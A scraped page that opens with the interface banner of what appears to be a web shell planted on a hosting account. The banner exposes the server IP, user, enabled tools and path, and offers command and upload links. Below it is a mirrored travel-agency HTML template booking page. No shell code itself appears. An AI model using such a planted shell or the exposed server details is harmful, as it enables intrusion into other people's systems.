|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/tourdepart/yatram/temp/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="zxx">
<!-- Mirrored from htmldesigntemplates.com/html/yatra/bootstrap5/booking.html by HTTrack Website Copier/3.x [XR&CO'2014], Tue, 28 Feb 2023 17:55:18 GMT -->
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Booking | Yatra - Travel Agency HTML Template</title>
<link rel="shortcut icon" type="image/x-icon" href="images/logo1.png" />
<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" />
<link href="css/style.css" rel="stylesheet" type="text/css" />
<link href="font/flaticon.css" rel="stylesheet" type="text/css" />
<link href="css/plugin.css" rel="stylesheet" type="text/css" />
<link rel="stylesheet" href="../../../../cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" />
</head>
<body>
<div id="preloader">
<div id="status"></div>
</div>
<header>
<div class="upper-head clearfix">
<div class="container">
<div class="contact-info">
<p><i class="flaticon-phone-call"></i> Phone: (012)-345-6789</p>
<p><i class="flaticon-mail"></i> Mail: <a href="https://htmldesigntemplates.com/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f5819a80879b818794839099b58190868198949c99db969a98">[email protected]</a></p>
</div>
<div class="login-btn pull-right">
<a href="login.html"><i class="fa fa-user-plus"></i> Register</a>
<a href="login.html"><i class="fa fa-unlock-alt"></i> Login</a>
</div>
</div>
</div>
</header>
<div class="navigation">
<div class="container">
<div class="navigation-content">
<div class="header_menu">
<nav class="navbar navbar-default navbar-sticky-function navbar-arrow">
<div class="logo pull-left">
<a href="index.html"><img alt="Image" src="images/Yatra-01.png" /></a>
</div>
<div id="navbar" class="navbar-nav-wrapper">
<ul class="nav navbar-nav" id="responsive-menu">
<li>
<a href="index.html">Home <i class="fa fa-angle-down"></i></a>
<ul>
<li>
<a href="#">Travel</a>
<ul>
<li><a href="index.html">Home Slider</a></li>
<li><a href="index-banner.html">Home Banner</a></li>
<li><a href="index-video.html">Home Video</a></li>
</ul>
</li>
<li><a href="index-1.html">Travel Style 2</a></li>
<li><a href="index-2.html">Travel Style 3</a></li>
<li><a href="index-3.html">Travel style 4</a></li>
<li><a href="index-4.html">Travel New</a></li>
</ul>
</li>
<li class="active">
<a href="#">Pages <i class="fa fa-angle-down"></i></a>
<ul>
<li>
<a href="#">Destination</a>
<ul>
<li>
<a href="#">Grid View</a>
<ul>
<li><a href="destination-2col.html">Grid View 2 Col</a></li>
<li><a href="destination-3col.html">Grid View 3 Col</a></li>
<li><a href="destination-4col.html">Grid View 4 Col</a></li>
<li><a href="destination-sidebar.html">Grid with sidebar</a></li>
</ul>
</li>
<li>
<a href="#">List View</a>
<ul>
<li><a href="destination-fullwidth.html">List no sidebar</a></li>
<li><a href="destination-list-sidebar.html">List with sidebar</a></li>
</ul>
</li>
</ul>
</li>
<li>
<a href="tour-detail.html">Detail Default</a>
<ul>
<li><a href="tour-detail.html">Detail Default</a></li>
<li><a href="detail-tabs.html">Detail Tabs</a></li>
</ul>
</li>
<li>
<a href="booking.html">Booking & Payment</a>
<ul>
<li><a href="booking.html">Booking Page</a></li>
<li><a href="booking-confirmation.html">Booking Confirmation</a></li>
<li><a href="payment.html">Payment Page</a></li>
</ul>
</li>
<li><a href="price-list.html">Price List</a></li>
<li><a href="error.html">Error Page</a></li>
<li><a href="aboutus.html">About Page</a></li>
<li><a href="contactus.html">Contact Us</a></li>
</ul>
</li>
<li>
<a href="hotel.html">Hotel <i class="fa fa-angle-down"></i></a>
<ul>
<li><a href="hotel.html">Hotel Homepage</a></li>
<li><a href="grid-view.html">Grid View</a></li>
<li><a href="list-view.html">List View</a></li>
<li><a href="hotel-detail.html">Detail Page</a></li>
</ul>
</li>
<li>
<a href="flight.html">Flights<i class="fa fa-angle-down"></i></a>
<ul>
<li><a href="flight.html">Flight Homepage</a></li>
<li><a href="flight-grid-view.html">Grid View</a></li>
<li><a href="flight-list-view.html">List View</a></li>
<li><a href="flight-detail.html">Detail Page</a></li>
<li><a href="flight-booking.html">Booking</a></li>
<li><a href="flight-confirm.html">Thank You</a></li>
</ul>
</li>
<li>
<a href="#"><i class="fa fa-star"></i> Cars<i class="fa fa-angle-down"></i></a>
<ul>
<li><a href="car-grid-view.html">Car Grid View</a></li>
<li><a href="car-list-view.html">Car List View</a></li>
<li><a href="car-detail.html">Car Detail Page</a></li>
<li><a href="car-booking.html">Payment</a></li>
</ul>
</li>
<li>
<a href="#"><i class="fa fa-star"></i> Cruise<i class="fa fa-angle-down"></i></a>
<ul>
<li><a href="cruise-grid-view.html">Cruise Grid View</a></li>
<li><a href="cruise-list-view.html">Cruise List View</a></li>
<li><a href="cruise-detail.html">Cruise Detail Page</a></li>
<li><a href="cruise-booking.html">Payment</a></li>
</ul>
</li>
<li>
<a href="#">Dashboard <i class="fa fa-angle-down"></i></a>
<ul>
<li><a href="dashboard.html">Dashboard</a></li>
<li><a href="dashboard-my-profile.html">Dashboard Profile</a></li>
<li><a href="dashboard-booking.html">Dashboard Bookings</a></li>
<li><a href="dashboard-history.html">Dashboard History</a></li>
<li><a href="dashboard-list.html">Dashboard Listing</a></li>
<li><a href="dashboard-addtour.html">Dashboard Add Tour</a></li>
<li><a href="dashboard-reviews.html">Dashboard Reviews</a></li>
</ul>
</li>
<li>
<a href="#">Shop <i class="fa fa-angle-down"></i></a>
<ul>
<li><a href="shop.html">Shop List</a></li>
<li><a href="shop-detail.html">Shop Detail</a></li>
<li><a href="cart.html">Cart</a></li>
<li><a href="checkout.html">Checkout</a></li>
<li><a href="login.html">Login Page</a></li>
<li><a href="forgot-password.html">Forgot Password</a></li>
</ul>
</li>
<li>
<a href="#">Blog <i class="fa fa-angle-down"></i></a>
<ul>
<li><a href="blog-list.html">Blog Right Sidebar</a></li>
<li><a href="blog-list-1.html">Blog Left Sidebar</a></li>
<li><a href="blog-list-2.html">Blog Fullwidth</a></li>
<li><a href="blog-list-3.html">Blog List</a></li>
<li><a href="blog-grid.html">Blog Grid</a></li>
<li><a href="blog-detail.html">Blog Detail Right Sidebar</a></li>
<li><a href="blog-detail-fw.html">Blog Detail Fullwidth</a></li>
</ul>
</li>
</ul>
</div>
<div id="slicknav-mobile"></div>
</nav>
</div>
</div>
</div>
</div>
<section class="breadcrumb-outer text-center">
<div class="container">
<div class="breadcrumb-content">
<h2>Booking Page</h2>
<nav aria-label="breadcrumb">
<ul class="breadcrumb">
<li class="breadcrumb-item"><a href="#">Home</a></li>
<li class="breadcrumb-item"><a href="#">Destinations</a></li>
<li class="breadcrumb-item"><a href="#">Bahamas Cruises</a></li>
<li class="breadcrumb-item active" aria-current="page">Booking</li>
</ul>
</nav>
</div>
</div>
<div class="section-overlay"></div>
</section>
<section class="booking">
<div class="container">
<div class="row">
<div class="col-lg-8">
<div class="booking-form booking-outer">
<div class="payment-info detail">
<div class="row">
<div class="col-lg-5">
<img src="images/destination-fw1.jpg" alt="Image" />
</div>
<div class="col-lg-7">
<h3>Bahamas Cruises</h3>
<table>
<tbody>
<tr>
<td class="title">Total Cost</td>
<td class="b-id">569$</td>
</tr>
<tr>
<td class="title">Total Days</td>
<td>5</td>
</tr>
<tr>
<td class="title">Arrival Date</td>
<td>13 August 2019</td>
</tr>
<tr>
<td class="title">Departure Date</td>
<td>13 August 2019</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<form>
<div class="row">
<div class="form-group mb-3 col-lg-12">
<label>Name:</label>
<input type="text" class="form-control" id="Name" placeholder="Enter full name" />
</div>
<div class="form-group mb-3 col-lg-6 col-md-6">
<label>Email:</label>
<input type="email" class="form-control" id="email" placeholder="abc@xyz.com" />
</div>
<div class="form-group mb-3 col-lg-6 col-md-6 ps-md-0">
<label>Phone Number:</label>
<input type="text" class="form-control" id="phnumber" placeholder="XXXX-XXXXXX" />
</div>
<div class="form-group mb-3 col-lg-6 col-md-6">
<label>Arrival Date:</label>
<input type="date" class="form-control" id="arrival-date" />
</div>
<div class="form-group mb-3 col-lg-6 col-md-6 ps-md-0">
<label>Departure Date:</label>
<input type="date" class="form-control" id="departure-date" />
</div>
<div class="form-group mb-3 col-lg-6 col-md-6">
<label>Name:</label>
<input type="text" class="form-control" id="date" placeholder="Select Date" />
</div>
<div class="form-group mb-3 col-lg-6 col-md-6 ps-md-0">
<label>No of Tickets:</label>
<input type="number" class="form-control" id="phnumber1" placeholder="Select a number" />
</div>
<div class="form-group mb-3 col-lg-6 col-md-6">
<label>Gender:</label>
<select class="wide">
<option value="male">Male</option>
<option value="female">Female</option>
<option value="other">Other</option>
</select>
</div>
<div class="form-group mb-3 col-lg-6 col-md-6 ps-md-0">
<label>Nationality:</label>
<select class="wide">
<option value="american">American</option>
<option value="opel">Malaysian</option>
<option value="audi">German</option>
</select>
</div>
<div class="textarea mb-3 col-lg-12">
<label>Message:</label>
<textarea placeholder="Enter a message"></textarea>
</div>
<div class="col-lg-12">
<div class="checkbox-outer"><input type="checkbox" name="vehicle2" value="Car" /> I agree to the <a href="#">terms and conditions.</a></div>
</div>
<div class="col-lg-12">
<div class="comment-btn">
<a href="#" class="btn-blue btn-red">Book Now</a>
</div>
</div>
</div>
</form>
</div>
</div>
<div id="sidebar-sticky" class="col-lg-4">
<aside class="detail-sidebar sidebar-wrapper">
<div class="sidebar-item">
<div class="detail-title">
<h3>Popular Packages</h3>
</div>
<div class="sidebar-content sidebar-slider">
<div class="sidebar-package">
<div class="sidebar-package-image">
<img src="images/detailslider1.jpg" alt="Image" />
</div>
<div class="destination-content sidebar-package-content">
<h4><a href="tour-detail.html">Royal Caribbean Cruises</a></h4>
<div class="deal-rating">
<span class="fa fa-star checked"></span>
<span class="fa fa-star checked"></span>
<span class="fa fa-star checked"></span>
<span class="fa fa-star-o"></span>
<span class="fa fa-star-o"></span>
</div>
<p><i class="flaticon-time"></i> 5 days starts from <span class="bold">$659</span></p>
<a href="#" class="btn-blue btn-red">Book Now</a>
</div>
</div>
<div class="sidebar-package">
<div class="sidebar-package-image">
<img src="images/detailslider2.jpg" alt="Image" />
</div>
<div class="destination-content sidebar-package-content">
<h4><a href="tour-detail.html">Bahamas Royal Cruises</a></h4>
<div class="deal-rating">
<span class="fa fa-star checked"></span>
<span class="fa fa-star checked"></span>
<span class="fa fa-star checked"></span>
<span class="fa fa-star-o"></span>
<span class="fa fa-star-o"></span>
</div>
<p><i class="flaticon-time"></i> 5 days starts from <span class="bold">$659</span></p>
<a href="#" class="btn-blue btn-red">Book Now</a>
</div>
</div>
<div class="sidebar-package">
<div class="sidebar-package-image">
<img src="images/detailslider3.jpg" alt="Image" />
</div>
<div class="destination-content sidebar-package-content">
<h4><a href="tour-detail.html">Royal Caribbean Cruises</a></h4>
<div class="deal-rating">
<span class="fa fa-star checked"></span>
<span class="fa fa-star checked"></span>
<span class="fa fa-star checked"></span>
<span class="fa fa-star-o"></span>
<span class="fa fa-star-o"></span>
</div>
<p><i class="flaticon-time"></i> 5 days starts from <span class="bold">$659</span></p>
<a href="#" class="btn-blue btn-red">Book Now</a>
</div>
</div>
</div>
</div>
<div class="sidebar-item sidebar-helpline">
<div class="sidebar-helpline-content">
<h3>Any Questions?</h3>
<p>Lorem ipsum dolor sit amet, consectet ur adipiscing elit, sedpr do eiusmod tempor incididunt ut.</p>
<p><i class="flaticon-phone-call"></i> (012)-345-6789</p>
<p><i class="flaticon-mail"></i> <a href="https://htmldesigntemplates.com/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="5e2a312b2c302a2c3f283b321e2a3b2d2a333f3732703d3133">[email protected]</a></p>
</div>
</div>
</aside>
</div>
</div>
</div>
</section>
<footer>
<div class="footer-upper">
<div class="container">
<div class="newsletter text-center">
<div class="section-title section-title-white text-center">
<h2>Newsletter Signup</h2>
<div class="section-icon section-icon-white">
<i class="flaticon-diamond"></i>
</div>
<p>Subscribe to our weekly newsletter to get updated on our latest deals</p>
</div>
<form>
<div class="form-group">
<input type="text" class="form-control" id="search" />
<a href="#"><span class="search_btn"><i class="fa fa-paper-plane" aria-hidden="true"></i> Sign Up</span></a
>
</div>
</form>
</div>
<div class="footer-links">
<div class="row">
<div class="col-lg-3">
<div class="footer-about footer-margin">
<div class="about-logo">
<img src="images/Yatra-white.png" alt="Image" />
</div>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt.</p>
<div class="about-location">
<ul>
<li><i class="flaticon-maps-and-flags" aria-hidden="true"></i> Location</li>
<li><i class="flaticon-phone-call"></i> (012)-345-6789</li>
<li><i class="flaticon-mail"></i> <a href="https://htmldesigntemplates.com/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="76021903041802041700131a36021305021b171f1a5815191b">[email protected]</a></li>
</ul>
</div>
<div class="footer-social-links">
<ul>
<li class="social-icon">
<a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a>
</li>
<li class="social-icon">
<a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a>
</li>
<li class="social-icon">
<a href="#"><i class="fa fa-twitter" aria-hidden="true"></i></a>
</li>
<li class="social-icon">
<a href="#"><i class="fa fa-youtube" aria-hidden="true"></i></a>
</li>
<li class="social-icon">
<a href="#"><i class="fa fa-google" aria-hidden="true"></i></a>
</li>
</ul>
</div>
</div>
</div>
<div class="col-lg-3 col-md-4">
<div class="footer-links-list footer-margin">
<h3>Browse Tour</h3>
<ul>
<li>
<a href="#">Cyclades <i class="fa fa-angle-right" aria-hidden="true"></i></a>
</li>
<li>
<a href="#">North Ionian <i class="fa fa-angle-right" aria-hidden="true"></i></a>
</li>
<li>
<a href="#">Sporades <i class="fa fa-angle-right" aria-hidden="true"></i></a>
</li>
<li>
<a href="#">View all Destinations <i class="fa fa-angle-right" aria-hidden="true"></i></a>
</li>
<li>
<a href="#">View all Yatchs <i class="fa fa-angle-right" aria-hidden="true"></i></a>
</li>
<li>
<a href="#">View all Cruises <i class="fa fa-angle-right" aria-hidden="true"></i></a>
</li>
</ul>
</div>
</div>
<div class="col-lg-3 col-md-4">
<div class="footer-recent-post footer-margin">
<h3>Recent Posts</h3>
<ul>
<li>
<div class="recent-post-item">
<div class="recent-post-image">
<img src="images/bucket1.jpg" alt="Image" />
</div>
<div class="recent-post-content">
<h4><a href="#">A trip to heaven</a></h4>
<p>June 17, 2018</p>
</div>
</div>
</li>
<li>
<div class="recent-post-item">
<div class="recent-post-image">
<img src="images/bucket2.jpg" alt="Image" />
</div>
<div class="recent-post-content">
<h4><a href="#">Diving in Atlantic</a></h4>
<p>June 17, 2018</p>
</div>
</div>
</li>
<li>
<div class="recent-post-item">
<div class="recent-post-image">
<img src="images/bucket3.jpg" alt="Image" />
</div>
<div class="recent-post-content">
<h4><a href="#">Travellers History</a></h4>
<p>June 17, 2018</p>
</div>
</div>
</li>
</ul>
</div>
</div>
<div class="col-lg-3 col-md-4">
<div class="footer-links-list">
<div class="footer-instagram">
<h3>Instagram</h3>
<ul>
<li><img src="images/insta1.jpg" alt="Image" /></li>
<li><img src="images/insta2.jpg" alt="Image" /></li>
<li><img src="images/insta3.jpg" alt="Image" /></li>
<li><img src="images/insta4.jpg" alt="Image" /></li>
<li><img src="images/insta5.jpg" alt="Image" /></li>
<li><img src="images/insta6.jpg" alt="Image" /></li>
<li><img src="images/insta7.jpg" alt="Image" /></li>
<li><img src="images/insta8.jpg" alt="Image" /></li>
<li><img src="images/insta9.jpg" alt="Image" /></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="copyright">
<div class="container">
<div class="row">
<div class="col-lg-6">
<div class="copyright-content">
<p>
2018 <i class="fa fa-copyright" aria-hidden="true"></i> Yatra by <a href="https://www.cyclonethemes.com/" target="_blank">Cyclone Themes</a>
</p>
</div>
</div>
<div class="col-lg-6">
<div class="payment-content">
<ul>
<li>We Accept</li>
<li>
<img src="images/payment1.png" alt="Image" />
</li>
<li>
<img src="images/payment2.png" alt="Image" />
</li>
<li>
<img src="images/payment3.png" alt="Image" />
</li>
<li>
<img src="images/payment4.png" alt="Image" />
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</footer>
<div id="back-to-top">
<a href="#"></a>
</div>
<script data-cfasync="false" src="../../../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="js/jquery-3.2.1.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/plugin.js"></script>
<script src="js/main.js"></script>
<script src="js/preloader.js"></script>
<script>(function(){var js = "window['__CF$cv$params']={r:'7a0b060a0ed984bf',m:'PPsiaMosIhqfny3de4sRauaLbHtc2AQ7ZJ8RI2leC8M-1677606847-0-ATKagPOlkXwQ3IxgXMTbZB50K5EW759NAIqkrCws2EGVXitShNgdO3mdifk/a4RVRNkCUtIluBVUg3/i+sShwEcCHInI4CnrwkgQiRL7wg2kRYpRsKygDcUTCwAkAdlilNamG1t/ttZE98m7jQkEnjLj7SN/Jb3Sct1YODnYwnqL',s:[0x9b628b545a,0x3334f003b3],u:'/cdn-cgi/challenge-platform/h/g'};var now=Date.now()/1000,offset=14400,ts=''+(Math.floor(now)-Math.floor(now%offset)),_cpo=document.createElement('script');_cpo.nonce='',_cpo.src='../../../cdn-cgi/challenge-platform/h/g/scripts/alpha/invisible5615.js?ts='+ts,document.getElementsByTagName('head')[0].appendChild(_cpo);";var _0xh = document.createElement('iframe');_0xh.height = 1;_0xh.width = 1;_0xh.style.position = 'absolute';_0xh.style.top = 0;_0xh.style.left = 0;_0xh.style.border = 'none';_0xh.style.visibility = 'hidden';document.body.appendChild(_0xh);function handler() {var _0xi = _0xh.contentDocument || _0xh.contentWindow.document;if (_0xi) {var _0xj = _0xi.createElement('script');_0xj.nonce = '';_0xj.innerHTML = js;_0xi.getElementsByTagName('head')[0].appendChild(_0xj);}}if (document.readyState !== 'loading') {handler();} else if (window.addEventListener) {document.addEventListener('DOMContentLoaded', handler);} else {var prev = document.onreadystatechange || function () {};document.onreadystatechange = function (e) {prev(e);if (document.readyState !== 'loading') {document.onreadystatechange = prev;handler();}};}})();</script></body>
<!-- Mirrored from htmldesigntemplates.com/html/yatra/bootstrap5/booking.html by HTTrack Website Copier/3.x [XR&CO'2014], Tue, 28 Feb 2023 17:55:18 GMT -->
</html>